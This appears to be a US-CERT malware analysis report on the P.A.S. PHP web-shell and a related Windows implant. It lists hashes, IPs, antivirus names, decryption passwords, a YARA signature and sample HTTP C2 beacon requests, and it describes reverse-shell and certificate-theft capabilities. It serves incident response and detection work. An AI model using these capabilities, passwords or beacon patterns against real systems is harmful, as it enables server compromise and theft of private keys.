MIFR-10105049-Update2 1 of 63 IPs Identified 5 204.12.12.40 209.236.67.159 146.185.161.126 176.114.0.120 176.114.0.157 US-CERT MIFR-10105049-Update2 2 of 63 Files 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e Details Name 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e Size 21522 Type PHP script, ASCII text, with very long lines, with CRLF, LF line terminators MD5 93f512e2d9d00bf0bcf1e03c6898cb1e SHA1 b7c7446dc3c97909705899e3dcffc084081b5c9f ssdeep 384:bx6Nx4A8ZPJ8s5o80bOIsAMBkxM5ZTSzuSizpxf18veznDt1Sxuunv:bx60A2PqsW8s7sMB/XTSfizpvuunv Entropy 6.11147480451 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i F-secure Backdoor.
PHP.AYP Symantec PHP.Backdoor.
Trojan ClamAV Php.
Malware.
Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aar TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Avira PHP/Agent.12663 Microsoft Backdoor:PHP/Fobushell.
D Ahnlab PHP/Webshell ESET PHP/Agent.
IB trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Backdoor.
PHP.Fobushell Relationships (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To (S) Interface for PAS v.3.1.0 (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To (F) da9f2804b16b369156e1b629ad3d2aac79326b94 284e43c7b8355f3db71912b8 (bfcb5) (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To (F) 20f76ada1721b61963fa595e3a2006c962253513 62b79d5d719197c190cd4239 (c3e23) (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To (F) 7b28b9b85f9943342787bae1c92cab39c01f9d82b 99eb8628abc638afd9eddaf (38f71) (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To (F) ae67c121c7b81638a7cb655864d574f8a9e55e66 bcb9a7b01f0719a05fab7975 (eddfe) Description This file is a malicious PHP file containing an embedded obfuscated payload.
This payload is Base64 encoded and password protected.
During runtime, this payload will be decoded and decrypted using combination of a base64_decode and a password.
Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user.
The file will prompt the user to enter a password.
The password entered is submitted via _POST and stored in a cookie at runtime.
The password root was used to decrypt the payload.
The decrypted payload contains a PHP web-shell and has been identified as P.A.S.
v.3.1.0.
This web-shell is a backdoor that provides an interface (see Screenshot) for various remote operations, such as file explorer, searcher, SQL-client, network tools, command shell access, and server info features to a remote user once installed on the compromised system.
The following are some of the P.A.S webshell capabilities: --Begin Capabilities-- To view compromised server information.
File manager (copy, rename, move, download, upload, delete, jump, create files and folders).
Search files, objects, directories, and text in files.
SQL client to login and dump database and tables.
US-CERT MIFR-10105049-Update2 3 of 63 Network console to bindport, back-connect, and port scanner.
Command line console to execute command.
Execute PHP code.
--End Capabilities-- The webshell P.A.S.
v.3.1.0 interface is shown in image 1.0.
Screenshots Interface for PAS v.3.1.0 da9f2804b16b369156e1b629ad3d2aac79326b94284e43c7b8355f3db71912b8 Details Name da9f2804b16b369156e1b629ad3d2aac79326b94284e43c7b8355f3db71912b8 Size 21377 Type PHP script, ASCII text, with very long lines MD5 bfcb50cffca601b33c285b9f54b64cb1 SHA1 efcc0c18e10072b50deeca9592c76bc90f4d18ce ssdeep 384:0x6Nx4A8ZPJ8s5o80bOIsAMBkxM5ZTSzuSizpxf18veznDt1Sxuunv:0x60A2PqsW8s7sMB/XTSfizpvuunv Entropy 6.10042530063 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i F-secure Backdoor.
PHP.AYP VirIT Trojan.
PHP.Shell.
JB Symantec PHP.Backdoor.
Trojan ClamAV Php.
Malware.
Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aar TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Microsoft Backdoor:PHP/Fobushell.
D Ahnlab PHP/Webshell ESET PHP/Agent.
IB trojan NANOAV Trojan.
Script.
Crypt.dsonvo TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Trojan.
PHP.Crypt Relationships (F) da9f2804b16b369156e1b629ad3d2aac79326b94 284e43c7b8355f3db71912b8 (bfcb5) Related_To (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Description This file is a malicious PHP file containing an embedded obfuscated payload.
This payload is Base64 encoded and password protected.
The password avto was used to decrypt the payload.
The decrypted payload contains a PHP web-shell and has been identified as P.A.S.
v.3.1.0.
This file and 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e have the same functionality.
20f76ada1721b61963fa595e3a2006c96225351362b79d5d719197c190cd4239 US-CERT MIFR-10105049-Update2 4 of 63 Details Name 20f76ada1721b61963fa595e3a2006c96225351362b79d5d719197c190cd4239 Size 21377 Type PHP script, ASCII text, with very long lines MD5 c3e23ef7f5e41796b80ca9e59990fe9c SHA1 0a3f7e0d0729b648d7bb6839db13c97f0b741773 ssdeep 384:JIiH2ER39I1VvkIPEWWjYcCmJNHKblvcDSRRjqSA93DuxuXvWxUg:JIy2ER3CLkhWUYcsJtMcDiuSA93DuxD Entropy 6.10091164773 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i F-secure Backdoor.
PHP.AYP VirIT Trojan.
PHP.Shell.
LV Symantec PHP.Backdoor.
Trojan ClamAV Php.
Malware.
Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aaw TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Avira PHP/Agent.12662 Microsoft Backdoor:PHP/Fobushell.
D Ahnlab PHP/Webshell ESET PHP/Krypt k.AJ trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Trojan.
PHP.Crypt Relationships (F) 20f76ada1721b61963fa595e3a2006c962253513 62b79d5d719197c190cd4239 (c3e23) Related_To (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Description This file is a malicious PHP file containing an embedded obfuscated payload.
This payload is Base64 encoded and password protected.
The password 123123 was used to decrypt the payload.
The decrypted payload contains a PHP web-shell and has been identified as P.A.S.
v.3.1.0.
This file and 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e have the same functionality.
7b28b9b85f9943342787bae1c92cab39c01f9d82b99eb8628abc638afd9eddaf Details Name 7b28b9b85f9943342787bae1c92cab39c01f9d82b99eb8628abc638afd9eddaf Size 21633 Type PHP script, ASCII text, with very long lines, with CRLF line terminators MD5 38f7149d4ec01509c3a36d4567125b18 SHA1 d1828dce4bf476ca07629e1613dd77c3346e2c5a ssdeep 384:0y6t/9e9BhShtzX3vOjbkMlspeMucuA4ScHCpMO1LmMoVIDa5XHEuz8v:0y6L4BIhhX/6IMyn5uMcHCpbkuz8v Entropy 6.12095270355 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i F-secure Backdoor.
PHP.AYP VirIT Trojan.
PHP.Shell.
JB Symantec PHP.Backdoor.
Trojan ClamAV Php.
Malware.
Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.abc TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O US-CERT MIFR-10105049-Update2 5 of 63 Avira PHP/Agent.1266 Microsoft Backdoor:PHP/Fobushell.
D Ahnlab PHP/Webshell ESET PHP/Agent.
IB trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Trojan.
PHP.Crypt Relationships (F) 7b28b9b85f9943342787bae1c92cab39c01f9d82b 99eb8628abc638afd9eddaf (38f71) Related_To (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Description This file is a malicious PHP file containing an embedded obfuscated payload.
This payload is Base64 encoded and password protected.
The password avto was used to decrypt the payload.
The decrypted payload contains a PHP web-shell and has been identified as P.A.S.
v.3.1.0.
This file and 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e have the same functionality.
ae67c121c7b81638a7cb655864d574f8a9e55e66bcb9a7b01f0719a05fab7975 Details Name ae67c121c7b81638a7cb655864d574f8a9e55e66bcb9a7b01f0719a05fab7975 Size 21121 Type PHP script, ASCII text, with very long lines, with no line terminators MD5 eddfe110da553a3dc721e0ad4ea1c95c SHA1 6b178cc9d630345356b9341613cd83bd588192e9 ssdeep 384:/YO/kOzhJ38bvqoWksNj4lCKlmI6KDzXpofabpTACAXDDe9GDtWNmu:/YIkOzhJs1WkqICKs0ofocCAXDDe9etO Entropy 6.08010194218 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i F-secure Backdoor.
PHP.AYP Symantec PHP.Backdoor.
Trojan ClamAV Php.
Malware.
Agent-1642041 Kaspersky Backdoor.PHP.Agent.aat TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Microsoft Backdoor:PHP/Fobushell.
D Ahnlab PHP/Webshell ESET PHP/Krypt k.AJ trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Trojan.
PHP.Crypt Relationships (F) ae67c121c7b81638a7cb655864d574f8a9e55e66 bcb9a7b01f0719a05fab7975 (eddfe) Related_To (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Description This file is a malicious PHP file containing an embedded obfuscated payload.
This payload is Base64 encoded and password protected.
The password 123123 was used to decrypt the payload.
The decrypted payload contains a PHP web-shell and has been identified as P.A.S.
v.3.1.0.
This file and 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e have the same functionality.
6fad670ac8febb5909be73c9f6b428179c6a7e94294e3e6e358c994500fcce46 Details Name 6fad670ac8febb5909be73c9f6b428179c6a7e94294e3e6e358c994500fcce46 Size 21191 Type PHP script, ASCII text, with very long lines MD5 78abd4cdccab5462a64ab4908b6056bd US-CERT MIFR-10105049-Update2 6 of 63 SHA1 1a42bc32bdfeb468e6a98f9b69514adb7cc963ae ssdeep 384:3cKqZSUbR58RkpmzijNeoBtqT/juu/iSeClJTYZaPKWFbNx:sKqZ7dCupmzqN3K7jsFDTTeaX1Nx Entropy 6.10207869759 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i F-secure Backdoor.
PHP.AYP Symantec PHP.Backdoor.
Trojan ClamAV Php.
Malware.
Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.abe TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Microsoft Backdoor:PHP/Fobushell.
G ESET PHP/Krypt k.AJ trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Trojan.
PHP.Crypt Relationships (F) 6fad670ac8febb5909be73c9f6b428179c6a7e942 94e3e6e358c994500fcce46 (78abd) Related_To (S) Interface for PAS v.3.0.10 (F) 6fad670ac8febb5909be73c9f6b428179c6a7e942 94e3e6e358c994500fcce46 (78abd) Related_To (F) d285115e97c02063836f1cf8f91669c114052727c3 9bf4bd3c062ad5b3509e38 (fc45a) Description This file is a malicious PHP file containing an embedded obfuscated payload.
This payload is Base64 encoded and password protected.
The password we kome was used to decrypt the payload.
The decrypted payload contains a PHP web-shell and has been identified as P.A.S.
v.3.0.10.
This version (see Screenshot) and v.3.1.0 have similar functionality, except v.3.0.10 has safeMode, open base directory, and disable functionality.
The webshell P.A.S.
v.3.0.10 interface is shown in image 2.0.
Screenshots Interface for PAS v.3.0.10 d285115e97c02063836f1cf8f91669c114052727c39bf4bd3c062ad5b3509e38 Details Name d285115e97c02063836f1cf8f91669c114052727c39bf4bd3c062ad5b3509e38 Size 21191 Type PHP script, ASCII text, with very long lines MD5 fc45abdd5fb3ffa4d3799737b3f597f4 SHA1 adf649354ff4d1812e7de745214362959e0174b1 ssdeep 384:ccKqZSUbR58RkpmzijNeoBtqT/juu/iSeClJTYZaPKWFbNUbxwx:pKqZ7dCupmzqN3K7jsFDTTeaX1NUbxG Entropy 6.1021796546 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i US-CERT MIFR-10105049-Update2 7 of 63 NetGate Trojan.
Win32.Malware F-secure Backdoor.
PHP.AYP Symantec PHP.Backdoor.
Trojan ClamAV Php.
Malware.
Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.abe TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Avira PHP/Krypt k.AA Microsoft Backdoor:PHP/Fobushell.
G Ahnlab PHP/Webshell ESET PHP/Krypt k.AJ trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Trojan.
PHP.Crypt Relationships (F) d285115e97c02063836f1cf8f91669c114052727c3 9bf4bd3c062ad5b3509e38 (fc45a) Related_To (F) 6fad670ac8febb5909be73c9f6b428179c6a7e942 94e3e6e358c994500fcce46 (78abd) Description This file is a malicious PHP file containing an embedded obfuscated payload.
This payload is Base64 encoded and password protected.
The password 123123 was used to decrypt the payload.
The decrypted payload contains a PHP web-shell and has been identified as P.A.S.
v.3.0.10.
This file and 6fad670ac8febb5909be73c9f6b428179c6a7e94294e3e6e358c994500fcce46 have the same functionality.
0576cd0e9406e642c473cfa9cb67da4bc4963e0fd6811bb09d328d71b36faa09 Details Name 0576cd0e9406e642c473cfa9cb67da4bc4963e0fd6811bb09d328d71b36faa09 Size 21633 Type PHP script, ASCII text, with very long lines, with CRLF line terminators MD5 10b1306f322a590b9cef4d023854b850 SHA1 eac98f414abd9e6a39ce96f5547284c371a30a74 ssdeep 384:aflOAr6OucUytsS8UdzMV3u2SmsyCDHEToBCGIbGA3taDPWA0BWdL1v:afUAr6OJB18Cc3u2jseTo/cGA3taDAe Entropy 6.1212580823 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i F-secure Backdoor.
PHP.AYP Symantec PHP.Backdoor.
Trojan ClamAV Php.
Malware.
Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aax TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Microsoft Backdoor:PHP/Fobushell.
D Ahnlab PHP/Webshell ESET PHP/Krypt k.AJ trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Trojan.
PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload.
This payload is Base64 encoded and password protected.
Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user.
The file will prompt the user to enter a password.
The password entered is submitted via _POST and stored in a cookie at runtime.
0fd05095e5d2fa466bef897105dd943de29f6b585ba68a7bf58148767364e73e Details Name 0fd05095e5d2fa466bef897105dd943de29f6b585ba68a7bf58148767364e73e US-CERT MIFR-10105049-Update2 8 of 63 Size 21377 Type PHP script, ASCII text, with very long lines MD5 128cc715b25d0e55704ed9b4a3f2ef55 SHA1 93c3607147e24396cc8f508c21ce8ab53f9a0176 ssdeep 384:zvAz7TvcjKJp0eJ4ZZXIoQW9fq3C3W/e3M/BF9xjzAMbaQCUv:jAzMjAp0/XIq9fq3CWoEUv Entropy 6.10186106747 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i F-secure Backdoor.
PHP.AXV Symantec PHP.Backdoor.
Trojan ClamAV Php.
Malware.
Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aau TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Microsoft Backdoor:PHP/Fobushell.
D Ahnlab PHP/Webshell ESET PHP/Krypt k.AJ trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Trojan.
PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload.
This payload is Base64 encoded and password protected.
Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user.
The file will prompt the user to enter a password.
The password entered is submitted via _POST and stored in a cookie at runtime.
1343c905a9c8b0360c0665efa6af588161fda76b9d09682aaf585df1851ca751 Details Name 1343c905a9c8b0360c0665efa6af588161fda76b9d09682aaf585df1851ca751 Size 21355 Type PHP script, ASCII text, with very long lines MD5 f3ecf4c56f16d57b260b9cf6ec4519d6 SHA1 18eda2d7b0d42462cdef1794ad26e21a52d79dc6 ssdeep 384:DIiH2ER39I1VvkIPEWWjYcCmJNHKblvcDSRRjqSA93DuxuXvWxUV:DIy2ER3CLkhWUYcsJtMcDiuSA93Dux0 Entropy 6.09871136883 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i F-secure Backdoor.
PHP.AYP Symantec PHP.Backdoor.
Trojan ClamAV Php.
Malware.
Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aav TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Microsoft Backdoor:PHP/Fobushell.
G Ahnlab PHP/Webshell ESET PHP/Krypt k.AJ trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Trojan.
PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload.
This payload is Base64 encoded and password protected.
Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user.
The file will prompt the user to enter a password.
The password entered is submitted via _POST and stored in a cookie at runtime.
US-CERT MIFR-10105049-Update2 9 of 63 2d5afec034705d2dc398f01c100636d51eb446f459f1c2602512fd26e86368e4 Details Name 2d5afec034705d2dc398f01c100636d51eb446f459f1c2602512fd26e86368e4 Size 21377 Type PHP script, ASCII text, with very long lines MD5 7fce89d5e3d59d8e849d55d604b70a6f SHA1 a0a6978f7022f71ad977760f492704216318b5cd ssdeep 384:ZoO1rR0apTrdj4hK2IeJYORHxrPIHzDUCuJYL3Q3QX6imKrV3XVPeezCv:ZR1rxl0k2lJYORRyBg3XlKpnVPeev Entropy 6.10129283354 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i F-secure Backdoor.
PHP.AYP Symantec PHP.Backdoor.
Trojan ClamAV Php.
Malware.
Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.abb TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Microsoft Backdoor:PHP/Fobushell.
D Ahnlab PHP/Webshell ESET PHP/Krypt k.AJ trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Trojan.
PHP.Crypt Description This is a malicious PHP file containing an embedded obfuscated payload.
This payload is Base64 encoded and password protected.
During runtime, this payload will be decoded and decrypted using combination of a base64_decode and a password.
This password is submitted via a POST request or in a cookie at runtime.
The following password F3Jk6k6 was used to decrypt the payload.
The decrypted payload contains a PHP webshell and has been identified as P.A.S.
v.3.1.0.
This webshell is a backdoor that provides an interface for various remote operations, such as file explorer, searcher, SQL-client, network tools, command shell access, and server info features to a remote user once installed on the compromised system.
The following are some of the P.A.S webshell capabilities: --Begin Capabilities-- To view compromised server information.
File manager (copy, rename, move, download, upload, delete, jump, create files and folders).
Search files, objects, directories, and text in files.
SQL client to login and dump database and tables.
Network console to bindport, back-connect, and port scanner.
Command line console to execute command.
Execute PHP code.
--End Capabilities-- The webshell interface is shown in image 1.0.
3bd682bb7870d5c8bc413cb4e0cc27e44b2358c8fc793b934c71b2a85b8169d7 Details Name 3bd682bb7870d5c8bc413cb4e0cc27e44b2358c8fc793b934c71b2a85b8169d7 Size 21612 Type PHP script, ASCII text, with very long lines, with CRLF line terminators MD5 e80f92faa5e11007f9ffea6df2297993 SHA1 2c48e42c882b45861557ea1f139f3e8b31629c7c ssdeep 384:FflOAr6OucUytsS8UdzMV3u2SmsyCDHEToBCGIbGA3taDPWA0BWdLh:FfUAr6OJB18Cc3u2jseTo/cGA3taDAq Entropy 6.11927531623 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i F-secure Backdoor.
PHP.AYP Symantec PHP.Backdoor.
Trojan US-CERT MIFR-10105049-Update2 10 of 63 ClamAV Php.
Malware.
Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aas TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Microsoft Backdoor:PHP/Fobushell.
G Ahnlab PHP/Webshell ESET PHP/Krypt k.AJ trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Trojan.
PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload.
Analysis indicates that the web shell will be access and execute through a browser by a remote user.
The file will prompt the user to enter a password.
The password entered is submitted via _POST and stored in a cookie at runtime.
The embedded payload will be decoded and decrypted using combination of a base64_decode and a password.
The password was not part of the submission.
449e7a7cbc393ae353e8e18b5c31d17bb13235d0c07e9e319137543608749602 Details Name 449e7a7cbc393ae353e8e18b5c31d17bb13235d0c07e9e319137543608749602 Size 21667 Type PHP script, ASCII text, with very long lines MD5 66948b04173b523ca773c3073afb506d SHA1 e1ad80b0769b8b9dfb357a410af948127aabda97 ssdeep 384:C0LnByNA3w1C7mUsR3oGzY0esuvDDqpEhIqdbf1oZP4jihXro8AtoGXz:C0FgJXoGzY0mDDbIqNYP4jihXroltoGj Entropy 6.09992131729 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i F-secure Backdoor.
PHP.AYP Symantec PHP.Backdoor.
Trojan ClamAV Php.
Malware.
Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aap TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Avira PHP/Agent.12664 Microsoft Backdoor:PHP/Fobushell.
G Ahnlab PHP/Webshell ESET PHP/Krypt k.AJ trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Trojan.
PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload.
This payload is Base64 encoded and password protected.
Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user.
The file will prompt the user to enter a password.
The password entered is submitted via _POST and stored in a cookie at runtime.
7dac01e818bd5a01fe75c3324f6250e3f51977111d7b4a94e41307bf463f122e Details Name 7dac01e818bd5a01fe75c3324f6250e3f51977111d7b4a94e41307bf463f122e Size 21445 Type PHP script, ASCII text, with very long lines, with CRLF line terminators MD5 a5e933d849367d623d1f2692b6691bbf SHA1 b788dce411fe0e1e1b7b476184aa6bbd0f8e3e31 ssdeep 384:5WermnyinsjQb3fqzolbopGdiWy6diduFrg:5XaytEm3GCpGdMuFrg Entropy 6.11582358023 US-CERT MIFR-10105049-Update2 11 of 63 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i F-secure Backdoor.
PHP.AYP Symantec PHP.Backdoor.
Trojan ClamAV Php.
Malware.
Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aaq TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Avira PHP/Agent.12661 Microsoft Backdoor:PHP/Fobushell.
G Ahnlab PHP/Webshell ESET PHP/Krypt k.AJ trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Trojan.
PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload.
This payload is Base64 encoded and password protected.
Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user.
The file will prompt the user to enter a password.
The password entered is submitted via _POST and stored in a cookie at runtime.
9376e20164145d9589e43c39c29be3a07ecdfd9c5c3225a69f712dc0ef9d757f Details Name 9376e20164145d9589e43c39c29be3a07ecdfd9c5c3225a69f712dc0ef9d757f Size 21182 Type PHP script, ASCII text, with very long lines MD5 dc4594dbeafbc8edfa0ac5983b295d9b SHA1 82c4d3753a8ee26f0468e79bf5d90ada04c612ea ssdeep 384:5e0nReo3P8WiT/7AxG74g6NdSB1env3qnEkgAFHJNdfoNuWs3yYKGYWZ0QxzTFI:5RzI /sxG7762Be0skJNdfoNuWVbWZ0V Entropy 6.10088739359 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i F-secure Backdoor.
PHP.AYP Symantec PHP.Backdoor.
Trojan ClamAV Php.
Malware.
Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.abd TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Microsoft Backdoor:PHP/Fobushell.
G Ahnlab PHP/Webshell ESET PHP/Krypt k.AJ trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Trojan.
PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload.
This payload is Base64 encoded and password protected.
Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user.
The file will prompt the user to enter a password.
The password entered is submitted via _POST and stored in a cookie at runtime.
a0c00aca2f34c1f5ddcf36be2ccca4ce63b38436faf45f097d212c59d337a806 Details Name a0c00aca2f34c1f5ddcf36be2ccca4ce63b38436faf45f097d212c59d337a806 Size 21191 US-CERT MIFR-10105049-Update2 12 of 63 Type PHP script, ASCII text, with very long lines MD5 1ec7f06f1ee4fa7cecd17244eec24e07 SHA1 ae167bca0863cfccba9cc9cf5e3cafce6fa6b92c ssdeep 384:s7ueraQSysFXnTPy9U3KRpz0x8Q1wKM5ivFV8rfAcrOfU8zVYG:32sFXTPy9U3Qze8SwK2iooEOmKG Entropy 6.1011365049 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i F-secure Backdoor.
PHP.AYP Symantec PHP.Backdoor.
Trojan ClamAV Php.
Malware.
Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aba TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Microsoft Backdoor:PHP/Fobushell.
G Ahnlab PHP/Webshell ESET PHP/Krypt k.AJ trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Trojan.
PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload.
This payload is Base64 encoded and password protected.
Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user.
The file will prompt the user to enter a password.
The password entered is submitted via _POST and stored in a cookie at runtime.
bd7996752cac5d05ed9d1d4077ddf3abcb3d291321c274dbcf10600ab45ad4e4 Details Name bd7996752cac5d05ed9d1d4077ddf3abcb3d291321c274dbcf10600ab45ad4e4 Size 21377 Type PHP script, ASCII text, with very long lines MD5 70f93f4f17d0e46137718fe59591dafb SHA1 1e49a68c72ef40e8c333007a7e7f56de1b29c842 ssdeep 384:EIiH2ER39I1VvkIPEWWjYcCmJNHKblvcDSRRjqSA93DuxuXvWxUort:EIy2ER3CLkhWUYcsJtMcDiuSA93Duxf Entropy 6.09482710893 Antivirus F-prot PHP/WebShell.
A McAfee PHP/WebShell.i F-secure Backdoor.
PHP.AYP VirIT Trojan.
PHP.Shell.
LV Symantec PHP.Backdoor.
Trojan ClamAV Php.
Malware.
Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aaw TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Microsoft Backdoor:PHP/Fobushell.
G Ahnlab PHP/Webshell ESET PHP/Krypt k.AJ trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Trojan.
PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload.
This payload is Base64 encoded and password protected.
Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user.
The file will prompt the user to enter a password.
The password entered is submitted via _POST and stored in a cookie at runtime.
US-CERT MIFR-10105049-Update2 13 of 63 rule unidentified_malware  meta: Author  US-CERT Code Analysis Team Date  16JAN17 Incident  10105049 MD5  8F154D23AC2071D7F179959AABA37AD5 strings: my_string_one   8D 78 03 8A 65 FF 8D A4 24 00 00 00 00 8A 04 0F 32 C4 88 04 11 41 3B CE 72 F3 my_string_two  CryptAcquireCertificatePrivateKey my_string_three  CertFreeCertificateContext my_string_four  CertEnumCertificatesInStore my_string_five  PFXImportCertStore condition: all of them  -End YARA Signature- During runtime, the malware attempts to communicate with its C2 server, private.directinvesting.com.
Displayed below are sample connections between the malware and its C2 server.
Begin Sample C2 Connections GET /lexicon/index.cfm?dqd9487pg149a8d6adb73d479e66c6 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) Host: private.directinvesting.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache GET /lexicon/index.cfm?source0887acssb9utm_term80aaeb73d479e66c6f12 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) Host: private.directinvesting.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache GET /lexicon/index.cfm?utm_content876b73d479e66c6source19bd05efa8c HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) Host: private.directinvesting.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache -End Sample C2 Connections- The application attempts to download data from a C2 server and write it to a randomly named .tmp file within the users TEMP directory.
Some of the file names used to store this downloaded data within our lab environment are displayed below: -Begin Sample File Names- TEMP\Cab1D5.tmp TEMP\Cab1D7.tmp TEMP\Cab1DA.tmp TEMP\Cab1DC.tmp -End Sample File Names- Analysis indicates this application provides several notable capabilities to an operator.
The program provides an operator access to a reverse shell on the victim system.
Additionally, the malware provides an operator the capability to enumerate the victims Windows Certificate Store, and extract identified digital certificates, including private keys.
The application also allows an operator to enumerate all physical drives and network resources the victim system has access to.
US-CERT MIFR-10105049-Update2 15 of 63 secure strings method.
